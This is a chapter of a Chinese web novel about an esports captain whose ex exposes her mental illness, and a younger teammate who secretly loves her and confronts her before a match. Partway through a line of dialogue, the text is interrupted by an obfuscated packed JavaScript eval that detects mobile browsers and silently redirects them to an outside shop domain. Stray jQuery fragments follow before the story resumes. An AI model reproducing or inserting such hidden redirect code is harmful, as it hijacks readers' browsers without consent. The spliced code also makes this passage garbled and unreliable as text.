时确和纪时序都沉默的站在车里一言不发。
他们也知道他们刚刚太冒失了,可是事关钟晚意,他们又怎能冷静啊。
钟晚意靠在座椅上看着他们两个人低着头犹豫了一会儿才说道。
“你们都打了很长一段时间的比赛了,应该知道作为一个电竞选手的雷区是什么,今天的事情我不希望再有第二次了,明白了吗?”
她在乎自己的病,在乎全球赛的冠军,但这不代表她自私,她也在乎她的队友们。
他们为了她的事情那么冒失那么冲动,如果为了她失去了比赛的资格,那她会自责一辈子的。
只是钟晚意是这么想的,可她说的这些话落入时确和纪时序的耳朵里却不是这个意思,特别是纪时序这小子。
他紧攥着拳抬头对上了钟晚意看过来的目光,他刚刚听清了顾方平说她的话。
说她是精神病人,说她有很严重的心理疾病,说她当年是因为生病了才跟顾方平分的手。
“队长...可是顾方平刚刚那么说你,那么骂你,你就这么轻轻松松的放过他吗?队长...你是不是还喜欢他?”
钟晚意不知道纪时序这小子现在又钻的什么牛角尖,她只能皱着眉言简意赅的解释道。
“我不喜欢他,别胡思乱想了,只是我们之间牵扯的太多了,有些事情不是说计较就可以计较的。”
无论是当年的事情,还是顾方平已经知道她心理疾病和今天的事情都是如此,更何况,现在最棘手的不是顾方平。
而是赛方要的心理健康报表。
她最起码要先解决眼前这个事情,保住她参赛的资格,而不是先解决顾方平。
至于顾方平那里,她已经给过警告了,只要他还想打比赛,还想有机会站在全球千秋岁联赛的比赛场上,他也不会再轻举妄动了。
钟晚意已经在自己的心里给这件事情画了个句号,她解释完就打开了车门。
这车外现在都是围上来抢新闻的记者们,她如果再不放刘志成他们进来,估计还会闹个别的新闻出来。
论“SOF队长队霸,不让别的队友和经纪人上车”。
刘志成他们眼看着车门开了,赶忙上了车,然后将车门合上朝着司机喊道。
“快开车啊!”
司机一踩油门就带着狼狈不堪的SOF选手们回基地,等到车停在了基地停车场后,钟晚意率先下了车朝着基地大门走去。
刘志成他们也不是傻子,他们看出了纪时序和时确的脸色不太好,时确倒是好一点,可纪时序那小子的脸黑的跟锅底一样。
他一言不发的的最后一个下了车,回到基地就直接进了房间锁了门,谁去敲门都不开。
最后还是钟晚意要对今天的比赛做一个复盘,开一个会,她亲自去敲得门,他才不情不愿的走了出来,老老实实的坐在了会议室里。
至于今天顾方平大闹赛方后台,搞得钟晚意在采访途中就被秦执拽出去一事儿,也被纪家压了下来。
这才平息了一场风波。
赢了一场比赛,按理来说应该是一件值得庆贺的事情,奈何出了这么大一件儿事儿,大家也没了庆祝的心情,甚至还得在基地里夹起尾巴做人。
至于他们的队长钟晚意,倒像是没事人一样,没有再就顾方平一事说些什么,一如往常无甚区别,就连病假都不请了。
在下一场比赛开打之前,除了早上晨跑外,连基地的大门都不出,就窝在基地里训练。
大家都看出来队长这是再给他们吃定心丸,他们看着钟晚意的样子,悬着的心也跟着安分了不少。
毕竟...钟晚意这几天不吃药不请假不看病,积极训练,谁看了都不会觉得她有严重的精神疾病吧。
倒是纪时序这小子反常得很。
钟晚意不请假了,他倒是开始频繁请假外出,只是他从来不耽误训练,也是因此刘志成他们也说不了他什么。
钟晚意更是对他的外出毫不在意,这两个人之间竟然莫名其妙的冷了下来,无论刘志成多么努力的活跃气氛都无济于事。
直到下一场跟TRK的比赛开打,纪时序第一场比赛心不在焉频频失误三四次,导致第一场比赛落败后,直接逼得战队的气氛走上了极端。
下了比赛,中场休息的时候,钟晚意直接当着战队所有人的面阴沉着脸色拉着纪时序离开了赛方安排的休息室,来到了空无一人的楼梯间。
她抓着他的手腕关上了楼梯间的门,然后靠在门上盯着他的脸问道。
“上场比赛怎么回事儿?”
不只是上场比赛,自顾方平大闹后台后,这小子的情绪就不对。
情绪不对本来不是个大事儿,只是他把情绪带到比赛上,导致比赛失败可就是个大事儿了。
纪时序侧过头去看着旁边的楼梯说道。
“没事儿。”
他这一段时间为了证实顾方平说的话也是跑断了腿,前几日终于让他找到了给钟晚意看病的心理医生。
只是心理医生秉持着作为一个大夫的基本素养什么都没告诉他,可是他也借此证实了钟晚意确实是有精神上的疾病。
他知道精神疾病会给人带来的痛苦。
既然如此...他不明白钟晚意为什么还任由顾方平将事实以那种极端的手段将此事揭露在人前,她却不反抗。
钟晚意又不是个傻子,她打了这么多年的比赛,又跟纪时序默契度那么高,她怎么可能看不出来他最近在“闹脾气”。
她轻叹了一口气难得态度格外和缓的说道。
“你还在为了顾方平的事情生气?”
少年被戳中了心事眉头皱的更紧了一些,饶是纪时序什么都没说,钟晚意也知道自己八成是猜对了。
“为什么为了顾方平生气?”
在她眼里,现在的纪时序就像是一个炸了毛生气的小狗一样,不哄好就要生一个几千块钱的病好好地吓唬吓唬她。
以为这样,她就能听进去他说的话。
纪时序便也愤愤然的转过头来看着钟晚意一字一句的开口说道。
“我不是生气,我只是.
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044576|143704||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
...”
“只是什么?”
钟晚意逼得太紧了,纪时序闭上了眼睛紧攥着拳强压着那个即将破土而出的答案。
他早就想好了要在比赛之后才跟队长表白,他不想因为感情耽误她打比赛。
只是...她今天这么问他,他不知道为什么,竟然那么迫切的想要告诉她。
告诉她,他喜欢她很多年,告诉她,他知道她有精神疾病之后有多心疼,有多么想要陪在她身边,可又怕她不喜欢他。
怕她喜欢顾方平那个渣男,怕她受伤,怕她难过,怕她生病了太难受……可他又想站在她的身边,
纪时序怕的事情太多了,这也是他这段时间为什么不肯跟钟晚意多说一句话。
他怕他失态,冒失的跟钟晚意表白,给她造成了负担。
“说话。”
钟晚意的耐心可不多,中场休息的时间也不多,她不能一直在这儿跟纪时序耗下去。
纪时序紧抿着唇一个字都不肯说,甚至又侧过了头躲开了钟晚意看过去的目光。
比赛马上就开始了,纪时序可是战队的大输出,他如果垮了,那今天这场比赛还怎么打?
钟晚意现在也顾不上这么多了,她走到纪时序的身前伸手捧着他的脸,逼着他看向了自己。
纪时序没想到她会这么直接的撞入自己的眼底,他听着自己越跳越快的心跳声不受控制的后退了半步,钟晚意却是不肯松手的步步紧逼。
“听我说,纪时序。”
“如果你是因为顾方平的事情生我的气了,那我跟你道歉,我不是袒护他,更不是喜欢他,只是我们之间牵扯太多了,有些事情不适合在比赛期间解决,等到联赛结束,我会亲手解决了他。”
她这两天也想了很多,她之前因为精神上有难以治愈的疾病却接受了顾方平的表白,跟他在一起消耗了他太多愧疚了很多年。
也是因为这个,她才隐瞒着当年跟他分手的真相,忍了这么多年网友的谩骂。
但是现在不同,顾方平都把刀架在了她的脖子上,她就算是为了比赛都不能轻易的放了他。
纪时序听着那沉寂的眼底霎时便亮了起来,他顾不上自己是不是离钟晚意太近了些,也顾不上掩盖自己心跳声的说道。
“你...你不要骗我。”
他太好骗了,几乎是钟晚意勾勾手指他就会摇着尾巴追上去。
他太知道自己对她的毫无底线了,才怕她真的会在这件事情上骗自己。
钟晚意则是坚定的看着他的眼睛,轻嗅着他身上青柠罗勒的味道说道。
“我从来不骗人。”
“好....”
纪时序不知道自己是怎么放下了这段时间心里的心结,他只知道自己是迷迷糊糊的被队长拉着手腕从楼梯间带到了休息室,又从休息室中带到了比赛场上。
赛事的主持人看着下半场比赛意神是牵着天冬出来的便也当着粉丝的面打趣道。
“咱们的天冬这是生病了吗?怎么是咱们得意神亲自牵着来打比赛啊。”